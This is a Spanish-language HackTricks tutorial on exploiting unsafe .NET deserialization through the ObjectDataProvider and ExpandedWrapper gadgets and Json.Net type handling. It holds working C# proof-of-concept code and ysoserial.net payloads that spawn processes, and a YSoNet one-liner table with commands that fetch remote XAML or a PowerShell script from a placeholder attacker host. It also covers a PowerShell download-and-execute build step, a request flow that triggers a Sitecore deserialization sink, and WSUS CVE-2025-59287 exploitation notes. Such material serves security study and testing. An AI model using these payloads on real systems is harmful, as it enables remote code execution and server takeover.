Deserialización básica de .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta entrada está dedicada a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo las librerías de Serialización Json.Net y xmlSerializer pueden ser abusadas con ese gadget.

Gadget ObjectDataProvider

De la documentación: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite envolver un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarada usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.

Cómo es posible

El espacio de nombres System.Windows.Data, que se encuentra dentro de PresentationFramework.dll en C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, es donde se define e implementa ObjectDataProvider.

Usando dnSpy puedes inspeccionar el código de la clase que nos interesa. En la imagen de abajo estamos viendo el código de PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name

Como puedes observar, cuando MethodName se establece se llama a base.Refresh(), veamos qué hace:

Ok, continuemos viendo qué hace this.BeginQuery(). BeginQuery es sobrescrito por ObjectDataProvider y esto es lo que hace:

Observa que al final del código está llamando a this.QueryWorke(null). Veamos qué ejecuta eso:

Observa que este no es el código completo de la función QueryWorker pero muestra la parte interesante: El código llama a this.InvokeMethodOnInstance(out ex); esta es la línea donde se invoca el método configurado.

Si quieres comprobar que con solo establecer el MethodName éste se ejecutará, puedes ejecutar este código:

Demo en C#: ObjectDataProvider dispara Process.Start ```csharp using System.Windows.Data; using System.Diagnostics;

namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }

</details>

Nota que necesitas agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para poder cargar `System.Windows.Data`

## ExpandedWrapper

Al usar el exploit anterior habrá casos en los que el **objeto** va a ser **deserializado como** una instancia _**ObjectDataProvider**_ (por ejemplo en DotNetNuke vuln, usando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, no se tendrá **conocimiento del tipo de objeto que está envuelto** en la instancia _ObjectDataProvider_ (`Process`, por ejemplo). Puedes encontrar más [información sobre la DotNetNuke vuln aquí](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

Esta clase permite s**pecificar los tipos de objeto de los objetos que están encapsulados** en una instancia dada. Por tanto, esta clase puede usarse para encapsular un objeto origen (_ObjectDataProvider_) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
Esto es muy útil para casos como el presentado antes, porque podremos **envolver \_ObjectDataProvider**_** dentro de una instancia **_**ExpandedWrapper** \_ y **cuando se deserialice** esta clase **creará** el _**OjectDataProvider**_ objeto que **ejecutará** la **función** indicada en _**MethodName**_.

Puedes comprobar este wrapper con el siguiente código:

<details>
<summary>Demostración en C#: ExpandedWrapper encapsulando ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page it is indicated that this library allows to serializar y deserializar cualquier objeto .NET con el potente serializador JSON de Json.NET. So, if we could deserializar el ObjectDataProvider gadget, we could cause a RCE just deserializing an object.

Ejemplo de Json.Net

First of all lets see an example on how to serializar/deserializar an object using this library:

Demo en C#: Json.NET serializar/deserializar ```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;

namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = “james@example.com”, Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { “User”, “Admin” } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{“Email”:“james@example.com”,“Active”:true,“CreatedDate”:“2013-01-20T00:00:00Z”,“Roles”:[“User”,“Admin”]}

//Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } }

</details>

### Abusing Json.Net

Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) creé el exploit:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

En este código puedes test the exploit, simplemente ejecútalo y verás que se ejecuta calc:

C# demo: Json.NET ObjectDataProvider exploitation PoC ```csharp using System; using System.Text; using Newtonsoft.Json;

namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } }

</details>

## Cadenas de Gadgets .NET Avanzadas (YSoNet & ysoserial.net)

La técnica ObjectDataProvider + ExpandedWrapper introducida arriba es solo una de MUCHAS cadenas de gadgets que pueden aprovecharse cuando una aplicación realiza **unsafe .NET deserialization**. Herramientas modernas de red-team como **[YSoNet](https://github.com/irsdl/ysonet)** (y la más antigua [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizan la creación de **grafos de objetos maliciosos listos para usar** para docenas de gadgets y formatos de serialización.

A continuación hay una referencia condensada de las cadenas más útiles incluidas en *YSoNet* junto con una explicación rápida de cómo funcionan y comandos de ejemplo para generar los payloads.

| Gadget Chain | Idea clave / Primitiva | Serializadores comunes | YSoNet one-liner |
|--------------|------------------------|------------------------|------------------|
| **TypeConfuseDelegate** | Corrompe el registro `DelegateSerializationHolder` de modo que, una vez materializado, el delegate apunta a *cualquier* método suministrado por el atacante (p. ej. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para eludir el filtrado de tipos en .NET ≥4.8 e invocar directamente el **constructor** de una clase proporcionada o **compilar** un archivo C# al vuelo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Aprovecha la representación **XML heredada** de `System.Data.DataSet` para instanciar tipos arbitrarios rellenando los campos `<ColumnMapping>` / `<DataType>` (opcionalmente falsificando el assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | En runtimes con WPF (> .NET 5) encadena getters de propiedades hasta alcanzar `System.CodeDom.Compiler.CompilerResults`, luego *compila* o *carga* una DLL suministrada con `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Usa WPF `System.Windows.Data.ObjectDataProvider` para llamar a un método estático arbitrario con argumentos controlados. YSoNet añade una variante `--xamlurl` conveniente para alojar el XAML malicioso de forma remota | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Incrusta un `ScriptBlock` en `System.Management.Automation.PSObject` que se ejecuta cuando PowerShell deserializa el objeto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

> [!TIP]
> Todos los payloads se **escriben en *stdout*** por defecto, lo que facilita canalizarlos hacia otras herramientas (p. ej. generadores ViewState, codificadores base64, clientes HTTP).

### Compilar / Instalar YSoNet

Si no hay binarios precompilados disponibles en *Actions ➜ Artifacts* / *Releases*, el siguiente comando de una sola línea de **PowerShell** configurará un entorno de compilación, clonará el repositorio y compilará todo en modo *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

El compilado ysonet.exe puede encontrarse en ysonet/bin/Release/.

Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Un sink .NET práctico accesible en flujos autenticados del Content Editor de Sitecore XP:

  • Sink API: Sitecore.Convert.Base64ToObject(string) envuelve new BinaryFormatter().Deserialize(...).
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, que busca un elemento hermano con id="{iframeId}_inner" y lee un atributo value que se trata como datos serializados codificados en base64. El resultado se convierte a string y se inserta en el HTML.
Flujo HTTP de activación del sink de Sitecore autenticado ```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=

// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…

</details>

- Gadget: cualquier cadena BinaryFormatter que devuelva un string (los efectos secundarios se ejecutan durante la deserialización). Consulte YSoNet/ysoserial.net para generar payloads.

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>

## Case study: WSUS unsafe .NET deserialization (CVE-2025-59287)

- Producto/rol: Windows Server Update Services (WSUS) role en Windows Server 2012 → 2025.
- Superficie de ataque: endpoints WSUS alojados en IIS sobre HTTP/HTTPS en TCP 8530/8531 (a menudo expuestos internamente; la exposición a Internet es de alto riesgo).
- Causa raíz: deserialización no autenticada de datos controlados por el atacante usando formatters heredados:
- `GetCookie()` endpoint deserializa una `AuthorizationCookie` con `BinaryFormatter`.
- `ReportingWebService` realiza deserialización insegura vía `SoapFormatter`.
- Impacto: Un objeto serializado manipulado desencadena una cadena de gadgets durante la deserialización, llevando a ejecución de código arbitrario como `NT AUTHORITY\SYSTEM` bajo el servicio WSUS (`wsusservice.exe`) o el app pool de IIS `wsuspool` (`w3wp.exe`).

Practical exploitation notes
- Descubrimiento: Escanea WSUS en TCP 8530/8531. Trata cualquier blob serializado pre-auth que llegue a métodos web de WSUS como un sink potencial para payloads `BinaryFormatter`/`SoapFormatter`.
- Payloads: Usa YSoNet/ysoserial.net para generar cadenas `BinaryFormatter` o `SoapFormatter` (p. ej., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Linaje de procesos esperado en caso de éxito:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>